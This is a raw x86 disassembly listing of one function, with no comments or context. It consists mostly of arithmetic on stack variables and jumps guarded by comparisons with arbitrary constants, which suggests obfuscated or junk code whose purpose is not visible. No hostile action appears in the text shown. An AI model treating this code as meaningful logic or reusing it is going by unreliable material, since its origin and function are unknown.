mov dword [edx], ecx
mov eax, dword [ebp - 0xac2c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xfdd0]
mov dword [ebp - 0x2c8c], ecx
mov edx, dword [ebp - 0x4e64]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xb0fc]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [0x4faeac]
mov byte [ecx], al
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xc788]
mov word [ecx], ax
mov edx, dword [ebp - 0x31b4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x618c]
add eax, dword [ecx]
mov edx, dword [ebp - 0xe5c8]
mov dword [edx], eax
mov eax, dword [ebp - 0x6208]
mov edx, dword [ebp - 0xfdd0]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0xae84], edx
mov eax, dword [ebp - 0x4e64]
movsx edx, byte [eax]
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x30bd], dl
mov ecx, dword [ebp - 0x8148]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x5034]
movsx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x8148]
mov word [eax], dx
movsx ecx, byte [ebp - 0x30bd]
mov edx, dword [ebp - 0x4e64]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x88cd], cl
movzx ecx, word [ebp - 0xa264]
movzx edx, word [ebp - 0x1b88]
and ecx, edx
mov eax, dword [ebp - 0x4138]
mov word [eax], cx
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [ebp - 0xe5c8]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x6178], eax
mov ecx, dword [ebp - 0xac2c]
mov edx, dword [ebp - 0x6208]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [0x4fa9b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe278]
mov eax, dword [ebp - 0xae84]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x5108]
mov dword [ecx], eax
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
add eax, dword [ebp - 0x3d3c]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x49d8]
mov eax, dword [ebp - 0x740c]
add eax, dword [edx]
mov ecx, dword [ebp - 0xac2c]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x88cd]
movsx eax, byte [ebp - 0xd0a1]
add edx, eax
mov ecx, dword [ebp - 0x4e64]
mov byte [ecx], dl
movzx edx, word [ebp - 0x8c14]
movzx eax, word [ebp - 0x10914]
and edx, eax
mov word [ebp - 0xe53c], dx
mov ecx, dword [ebp - 0x92b0]
add ecx, dword [ebp - 0x2c8c]
mov dword [ebp - 0x54c], ecx
mov edx, dword [ebp - 0x618c]
mov eax, dword [edx]
or eax, dword [ebp - 0x6178]
mov ecx, dword [ebp - 0x31b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6208]
mov eax, dword [ebp - 0x3514]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x49d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x740c]
mov ecx, dword [ebp - 0xae84]
shl edx, cl
mov eax, dword [0x4fa9b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc788]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4138]
mov word [ecx], dx
mov edx, dword [ebp - 0x5538]
add edx, 0x33
mov dword [ebp - 0x5538], edx
movzx eax, word [ebp - 0x8c14]
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xf2c8], ax
movsx eax, word [0x4fa540]
movsx ecx, word [ebp - 0x99e8]
and eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
movsx eax, byte [ebp - 0xd0a1]
movsx ecx, byte [ebp - 0x88cd]
sub eax, ecx
mov edx, dword [ebp - 0x4e64]
mov byte [edx], al
mov eax, dword [ebp - 0xb204]
add eax, dword [ebp - 0x1140]
mov dword [ebp - 0x1a8c], eax
mov ecx, dword [ebp - 0xae84]
add ecx, dword [ebp - 0x92b0]
mov dword [ebp - 0x6b24], ecx
movzx edx, word [ebp - 0x8c14]
movzx eax, word [ebp - 0xa264]
add edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
jmp 0x40747d
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
mov dword [ebp - 0x11524], eax
cmp dword [ebp - 0x11524], 0
je 0x407793
jmp 0x4ee25f
mov ecx, dword [ebp - 0x6b24]
sub ecx, dword [ebp - 0x54c]
mov dword [ebp - 0x2c8c], ecx
mov edx, dword [ebp - 0x54c]
and edx, dword [ebp - 0x92b0]
mov eax, dword [ebp - 0xac2c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ebp - 0x1a8c]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x3d3c], edx
movzx eax, word [ebp - 0x8c14]
movzx ecx, word [ebp - 0xa264]
shl eax, cl
mov ecx, dword [ebp - 0x4138]
mov word [ecx], ax
movzx edx, word [ebp - 0xa264]
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x778]
mov word [eax], dx
mov ecx, dword [ebp - 0x6208]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x6b24]
mov eax, dword [ebp - 0x6208]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xac2c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x5108]
mov dword [ecx], edx
mov edx, dword [ebp - 0x618c]
mov eax, dword [ebp - 0x1a8c]
sub eax, dword [edx]
mov dword [ebp - 0x1140], eax
mov ecx, dword [ebp - 0xe278]
mov edx, dword [ebp - 0x92b0]
and edx, dword [ecx]
mov eax, dword [0x4fa9b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [ebp - 0xe278]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x49d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x47b0]
add edx, 0x1e
mov dword [ebp - 0x47b0], edx
movsx eax, word [ebp - 0x99e8]
mov ecx, dword [ebp - 0x8148]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x5034]
mov word [ecx], ax
movsx edx, byte [ebp - 0x88cd]
movsx eax, byte [ebp - 0x30bd]
sub edx, eax
mov ecx, dword [ebp - 0xb0fc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4138]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xc788]
mov word [ecx], ax
movzx edx, word [ebp - 0xa264]
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xe53c], dx
mov edx, dword [ebp - 0xe5c8]
mov eax, dword [ebp - 0x618c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x3d3c], ecx
mov edx, dword [ebp - 0xac2c]
mov eax, dword [edx]
sub eax, dword [ebp - 0xfdd0]
mov ecx, dword [ebp - 0x49d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc788]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x778]
mov word [ecx], ax
mov edx, dword [ebp - 0xc788]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa264]
or eax, ecx
mov word [section..data], ax
mov edx, dword [ebp - 0x31b4]
mov eax, dword [ebp - 0xe5c8]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x740c]
xor ecx, dword [0x4f8008]
mov dword [ebp - 0x2c8c], ecx
mov edx, dword [ebp - 0x5108]
mov eax, dword [ebp - 0x49d8]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x6b84]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3d3c]
and ecx, dword [ebp - 0x6178]
mov edx, dword [ebp - 0x618c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4138]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x110b8]
mov word [edx], cx
movzx eax, word [ebp - 0xa264]
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x1b88], ax
mov eax, dword [ebp - 0x5108]
mov ecx, dword [0x4f8008]
and ecx, dword [eax]
mov edx, dword [ebp - 0x6208]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5108]
mov ecx, dword [ebp - 0xe278]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x2c8c], edx
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xd0a1]
sub ecx, edx
mov byte [0x4f9af2], cl
mov eax, dword [ebp - 0xd6bc]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x8148]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xd6bc]
mov word [edx], cx
mov eax, dword [ebp - 0xe278]
mov ecx, dword [ebp - 0x2c8c]
add ecx, dword [eax]
mov dword [ebp - 0x740c], ecx
cmp dword [ebp - 0x47b0], 0xea69
jne 0x4077a5
movsx edx, word [ebp - 0xfbf8]
mov eax, dword [ebp - 0xd6bc]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x5034]
movsx eax, word [eax]
mov ecx, dword [ebp - 0x8148]
movsx ecx, word [ecx]
shl eax, cl
cmp edx, eax
je 0x407aee
mov edx, dword [0x4fa9b8]
mov eax, dword [edx]
mov dword [ebp - 0x11528], eax
cmp dword [ebp - 0x11528], 0x42ec0424
je 0x407aa6
jmp 0x407ada
lea ecx, [ebp - 0xe53c]
mov dword [ebp - 0x13a4], ecx
mov edx, dword [ebp - 0x688c]
mov eax, dword [ebp - 0x618c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x31b4]
mov dword [eax], edx
lea ecx, [ebp - 0x3d3c]
mov dword [ebp - 0xe364], ecx
jmp 0x407aee
mov edx, dword [0x4f8008]
or edx, dword [ebp - 0x92b0]
mov eax, dword [ebp - 0x6208]
mov dword [eax], edx
mov cl, byte [ebp - 0xd0a1]
mov byte [ebp - 0x1152c], cl
cmp byte [ebp - 0x1152c], 0
je 0x407b15
cmp byte [ebp - 0x1152c], 0x52
je 0x4ee1a8
jmp 0x4ee1f0
mov edx, dword [ebp - 0x6178]
sub edx, dword [ebp - 0xb204]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x5034]
movsx ecx, word [eax]
mov dword [ebp - 0x11530], ecx
cmp dword [ebp - 0x11530], 0x1816
je 0x407b44
jmp 0x407b5a
mov edx, dword [ebp - 0x3d3c]
mov ecx, dword [ebp - 0x3d3c]
call section..text
jmp 0x4ee17e
cmp dword [ebp - 0xff2c], 0x2ceb
je 0x407d08
mov edx, dword [ebp - 0xe364]
mov eax, dword [edx]
add eax, dword [ebp - 0x1a8c]
mov ecx, dword [ebp - 0xe5c8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa264]
sub eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
mov eax, dword [ebp - 0x31b4]
mov ecx, dword [ebp - 0x3d3c]
sub ecx, dword [eax]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0xd6bc]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x77a0]
sub eax, ecx
mov word [ebp - 0xfbf8], ax
mov edx, dword [ebp - 0x4e64]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xb0fc]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0xd0a1], al
movsx edx, byte [ebp - 0x30bd]
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [0x4faeac]
mov byte [eax], dl
mov ecx, dword [ebp - 0xff2c]
add ecx, 0x25
mov dword [ebp - 0xff2c], ecx
mov edx, dword [ebp - 0x1f94]
mov eax, dword [ebp - 0x6208]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x6b84]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6b24]
xor ecx, dword [ebp - 0x3514]
mov dword [ebp - 0x54c], ecx
mov edx, dword [ebp - 0xc788]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x10914]
and eax, ecx
mov edx, dword [ebp - 0x4138]
mov word [edx], ax
mov eax, dword [ebp - 0xe278]
mov ecx, dword [ebp - 0x6b24]
add ecx, dword [eax]
mov dword [ebp - 0xfdd0], ecx
mov edx, dword [ebp - 0x688c]
mov eax, dword [ebp - 0x1140]
add eax, dword [edx]
mov dword [ebp - 0x1a8c], eax
mov ecx, dword [ebp - 0xac2c]
mov edx, dword [ebp - 0x740c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x6b84]
mov dword [eax], edx
mov ecx, dword [ebp - 0xfdd0]
add ecx, dword [ebp - 0x6b24]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
movzx eax, word [section..data]
movzx ecx, word [ebp - 0xe53c]
sub eax, ecx
mov edx, dword [ebp - 0x13a4]
mov word [edx], ax
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
and ecx, eax
mov word [section..data], cx
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [ebp - 0xe364]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6208]
mov eax, dword [edx]
add eax, dword [ebp - 0xfdd0]
mov dword [ebp - 0x92b0], eax
jmp 0x407b5a
mov ecx, dword [ebp - 0xe278]
mov edx, dword [ebp - 0x2c8c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x49d8]
mov dword [eax], edx
lea ecx, [ebp - 0x3514]
mov dword [ebp - 0x7b40], ecx
cmp dword [ebp - 0xc434], 0x1406d
je 0x407e61
mov edx, dword [ebp - 0x49d8]
mov eax, dword [ebp - 0x6b24]
or eax, dword [edx]
mov dword [ebp - 0x740c], eax
movsx ecx, word [ebp - 0xfbf8]
movsx edx, word [0x4fa540]
xor ecx, edx
mov eax, dword [ebp - 0xd6bc]
mov word [eax], cx
mov ecx, dword [ebp - 0x4e64]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0xd0a1]
sar edx, cl
mov byte [ebp - 0x88cd], dl
movzx eax, word [ebp - 0x10914]
movzx ecx, word [ebp - 0x1b88]
shl eax, cl
mov word [ebp - 0xf2c8], ax
mov ecx, dword [0x4faeac]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xd0a1]
and edx, eax
mov ecx, dword [0x4faeac]
mov byte [ecx], dl
mov edx, dword [ebp - 0xb204]
sub edx, dword [ebp - 0x1a8c]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0xe364]
mov ecx, dword [ebp - 0x1a8c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x13a4]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xe53c], cx
mov ecx, dword [ebp - 0x13a4]
movzx edx, word [ecx]
movzx eax, word [section..data]
add edx, eax
mov word [ebp - 0xe53c], dx
mov ecx, dword [ebp - 0xc434]
add ecx, 0xf5
mov dword [ebp - 0xc434], ecx
mov edx, dword [ebp - 0x6208]
mov eax, dword [ebp - 0x2c8c]
add eax, dword [edx]
mov ecx, dword [ebp - 0xac2c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
add eax, dword [ebp - 0xb204]
mov dword [ebp - 0x1140], eax
mov ecx, dword [0x4fa9b8]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2c8c]
mov dword [ebp - 0x54c], edx
jmp 0x407d2a
mov eax, dword [ebp - 0x6b24]
sub eax, dword [ebp - 0x92b0]
mov dword [ebp - 0x3514], eax
mov cl, byte [ebp - 0x88cd]
mov byte [ebp - 0x11534], cl
cmp byte [ebp - 0x11534], 0
je 0x407e93
cmp byte [ebp - 0x11534], 0x6f
je 0x407ec5
jmp 0x407ef7
movzx edx, byte [0x4f8002]
shl edx, 1
mov byte [0x4f8002], dl
mov ax, word [section..data]
mov word [ebp - 0xfd44], ax
mov ecx, dword [ebp - 0x2e60]
xor ecx, dword [ebp - 0x6178]
mov edx, dword [ebp - 0xe5c8]
mov dword [edx], ecx
jmp 0x407ef7
mov eax, dword [ebp - 0x6208]
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x7b40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4e64]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x30bd], dl
movsx ecx, word [ebp - 0xfbf8]
movsx edx, word [ebp - 0x77a0]
add ecx, edx
mov eax, dword [ebp - 0xd6bc]
mov word [eax], cx
movzx ecx, byte [0x4f8002]
cmp ecx, 0x70
jl 0x407f6a
movzx edx, word [ebp - 0x8c14]
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x778]
mov word [eax], dx
mov ecx, dword [ebp - 0x6178]
push ecx
mov edx, dword [ebp - 0x3514]
push edx
mov eax, dword [ebp - 0xe278]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x8148]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0xf2c8]
push ecx
call fcn.004010a0
jmp 0x4ee133
mov edx, dword [ebp - 0x688c]
mov eax, dword [ebp - 0xb204]
add eax, dword [edx]
mov dword [ebp - 0x1a8c], eax
mov ecx, dword [ebp - 0x6b24]
add ecx, dword [ebp - 0x92b0]
mov dword [0x4f8004], ecx
mov edx, dword [0x4f8008]
sub edx, dword [ebp - 0x3514]
mov dword [ebp - 0xfdd0], edx
mov eax, dword [ebp - 0xb204]
add eax, dword [ebp - 0x6178]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x54c]
and ecx, dword [0x4f8008]
mov dword [ebp - 0x2c8c], ecx
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [ebp - 0xa264]
or edx, eax
mov word [ebp - 0x8c14], dx
movsx ecx, word [ebp - 0xfbf8]
mov edx, dword [ebp - 0x5034]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0xd6bc]
mov word [edx], cx
mov eax, dword [ebp - 0x6208]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xfdd0]
sar edx, cl
mov dword [ebp - 0x3514], edx
mov eax, dword [ebp - 0x688c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x6178]
shl edx, cl
mov eax, dword [ebp - 0xe5c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x49d8]
mov edx, dword [0x4f8008]
add edx, dword [ecx]
mov dword [ebp - 0x54c], edx
mov eax, dword [ebp - 0x7b40]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2c8c]
mov dword [0x4f8004], ecx
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x10914]
and eax, ecx
mov edx, dword [ebp - 0xc788]
mov word [edx], ax
movzx eax, word [ebp - 0xfd44]
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x8c14], ax
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x4e64]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x88cd], cl
mov ecx, dword [ebp - 0x5034]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xd6bc]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x5034]
mov word [eax], dx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x618c]
add edx, dword [eax]
mov dword [ebp - 0x6178], edx
mov ecx, dword [ebp - 0xd014]
add ecx, 0x14
mov dword [ebp - 0xd014], ecx
mov edx, dword [ebp - 0x6b24]
sub edx, dword [ebp - 0x3514]
mov dword [ebp - 0x92b0], edx
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xc788]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x13a4]
mov word [edx], cx
mov eax, dword [ebp - 0x31b4]
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x31b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xe278]
mov edx, dword [ebp - 0x2c8c]
sub edx, dword [ecx]
mov eax, dword [0x4fa9b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6208]
mov edx, dword [ebp - 0x740c]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x92b0], edx
mov eax, dword [ebp - 0xe278]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x740c]
mov dword [ebp - 0x2c8c], ecx
mov edx, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x3d3c]
shl edx, cl
mov dword [ebp - 0xb204], edx
mov eax, dword [ebp - 0x4138]
movzx ecx, word [eax]
movzx edx, word [section..data]
or ecx, edx
mov eax, dword [ebp - 0x4138]
mov word [eax], cx
movzx ecx, word [ebp - 0x10914]
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x13a4]
mov word [edx], cx
mov eax, dword [ebp - 0x5108]
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x740c], edx
cmp dword [ebp - 0xd014], 0x8d02
jb 0x407f6a
mov eax, dword [ebp - 0x6208]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x6b24]
mov edx, dword [ebp - 0x92b0]
and edx, dword [ebp - 0x3514]
cmp ecx, edx
jge 0x4edfe7
mov al, byte [0x4f8002]
mov byte [ebp - 0x11538], al
cmp byte [ebp - 0x11538], 0x66
je 0x40820f
jmp 0x4082ad
mov ecx, dword [ebp - 0xd6bc]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x5034]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x8148]
movsx ecx, word [eax]
movsx eax, word [ebp - 0x77a0]
sub ecx, eax
cmp edx, ecx
jg 0x4082ab
mov cl, byte [0x4f8002]
mov byte [ebp - 0x1675], cl
mov edx, dword [ebp - 0xae84]
mov dword [ebp - 0x1153c], edx
cmp dword [ebp - 0x1153c], 0xfffc0026
je 0x40825f
jmp 0x408298
lea eax, [ebp - 0xa264]
mov dword [0x4fa97c], eax
lea ecx, [ebp - 0x6178]
mov dword [ebp - 0xb0bc], ecx
mov edx, dword [ebp - 0x3514]
and edx, dword [ebp - 0x2c8c]
mov eax, dword [ebp - 0x6b84]
mov dword [eax], edx
lea ecx, [ebp - 0x2c8c]
mov dword [ebp - 0xc2ec], ecx
jmp 0x4082ab
mov edx, dword [ebp - 0xe364]
mov edx, dword [edx]
mov ecx, dword [ebp - 0x1a8c]
call section..text
jmp 0x4082f6
mov eax, dword [ebp - 0x618c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb0bc]
add ecx, dword [edx]
mov eax, dword [ebp - 0x688c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xf2c8], dx
mov edx, dword [ebp - 0xe364]
mov eax, dword [ebp - 0x6178]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xe5c8]
mov dword [ecx], eax
movzx edx, word [ebp - 0x8c14]
mov dword [ebp - 0x11540], edx
cmp dword [ebp - 0x11540], 0x896
je 0x408314
jmp 0x408405
mov eax, dword [ebp - 0x618c]
mov ecx, dword [eax]
mov dword [ebp - 0x11544], ecx
cmp dword [ebp - 0x11544], 0x82b67a35
je 0x408330
jmp 0x40838d
mov edx, dword [ebp - 0x740c]
add edx, dword [ebp - 0x92b0]
mov eax, dword [ebp - 0x49d8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x49d8]
mov edx, dword [ecx]
or edx, dword [ebp - 0xfdd0]
mov dword [ebp - 0x54c], edx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4138]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [0x4fa97c]
mov word [edx], cx
movsx eax, byte [ebp - 0x30bd]
movsx ecx, byte [ebp - 0xd0a1]
shl eax, cl
mov byte [ebp - 0x88cd], al
jmp 0x408403
mov ecx, dword [ebp - 0xae84]
mov dword [ebp - 0x11548], ecx
cmp dword [ebp - 0x11548], 0x45eb2277
je 0x4083b3
cmp dword [ebp - 0x11548], 0x590f8988
je 0x4083f4
jmp 0x408403
mov edx, dword [ebp - 0x4138]
movzx eax, word [edx]
movzx ecx, word [section..data]
sar eax, cl
mov ecx, dword [ebp - 0x4138]
mov word [ecx], ax
movzx edx, byte [0x4f8002]
and edx, 0x6e
mov byte [ebp - 0x1675], dl
mov eax, dword [ebp - 0x6178]
add eax, dword [ebp - 0x1a8c]
mov ecx, dword [ebp - 0x618c]
mov dword [ecx], eax
jmp 0x408403
mov edx, dword [ebp - 0xb0fc]
movzx eax, byte [edx]
push eax
call fcn.004eebb0
jmp 0x408459
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e60]
mov dword [ebp - 0xb204], edx
mov eax, dword [ebp - 0x6208]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1f94]
add ecx, dword [edx]
mov dword [ebp - 0x2c8c], ecx
lea eax, [ebp - 0x740c]
mov dword [ebp - 0x2898], eax
mov ecx, dword [ebp - 0xae84]
sub ecx, dword [ebp - 0xfdd0]
mov dword [ebp - 0x54c], ecx
lea edx, [ebp - 0xa264]
mov dword [ebp - 0xdc1c], edx
mov dword [ebp - 0x2e48], 0x2025
cmp dword [ebp - 0x2e48], 0x19e7
jbe 0x4087bd
mov eax, dword [ebp - 0x6208]
mov ecx, dword [ebp - 0xae84]
sub ecx, dword [eax]
mov edx, dword [0x4fa9b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x6178]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x49d8]
mov eax, dword [edx]
add eax, dword [ebp - 0x740c]
mov ecx, dword [ebp - 0x49d8]
mov dword [ecx], eax
mov edx, dword [0x4fa9b8]
mov eax, dword [ebp - 0x3514]
sub eax, dword [edx]
mov dword [ebp - 0x2c8c], eax
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1a8c]
mov dword [ebp - 0xb204], edx
movzx eax, word [ebp - 0x8c14]
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x10914], ax
movsx eax, word [ebp - 0xfbf8]
movsx ecx, word [ebp - 0x99e8]
shl eax, cl
mov ecx, dword [ebp - 0x5034]
mov word [ecx], ax
mov edx, dword [ebp - 0x8148]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x5034]
movsx edx, word [ecx]
or eax, edx
mov word [ebp - 0x99e8], ax
mov eax, dword [ebp - 0x4e64]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x88cd]
sar edx, cl
mov eax, dword [ebp - 0x4e64]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x1675]
and ecx, 0x9b
mov byte [0x4f8002], cl
mov edx, dword [ebp - 0x6208]
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x740c], ecx
mov edx, dword [ebp - 0x92b0]
add edx, dword [ebp - 0xfdd0]
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
movzx ecx, word [ebp - 0xfd44]
movzx edx, word [section..data]
sub ecx, edx
mov word [ebp - 0xf2c8], cx
mov eax, dword [ebp - 0x6b24]
sub eax, dword [ebp - 0x2c8c]
mov dword [ebp - 0xfdd0], eax
mov ecx, dword [ebp - 0x2e48]
sub ecx, 0x22
mov dword [ebp - 0x2e48], ecx
mov edx, dword [ebp - 0x688c]
mov eax, dword [ebp - 0x1a8c]
add eax, dword [edx]
mov dword [ebp - 0xb204], eax
mov ecx, dword [ebp - 0xac2c]
mov edx, dword [ebp - 0x740c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc2ec]
mov edx, dword [ebp - 0x5108]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x3514], eax
movzx ecx, byte [0x4f8002]
add ecx, 0x14
mov byte [ebp - 0x1675], cl
movzx edx, word [ebp - 0x8c14]
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
xor edx, ecx
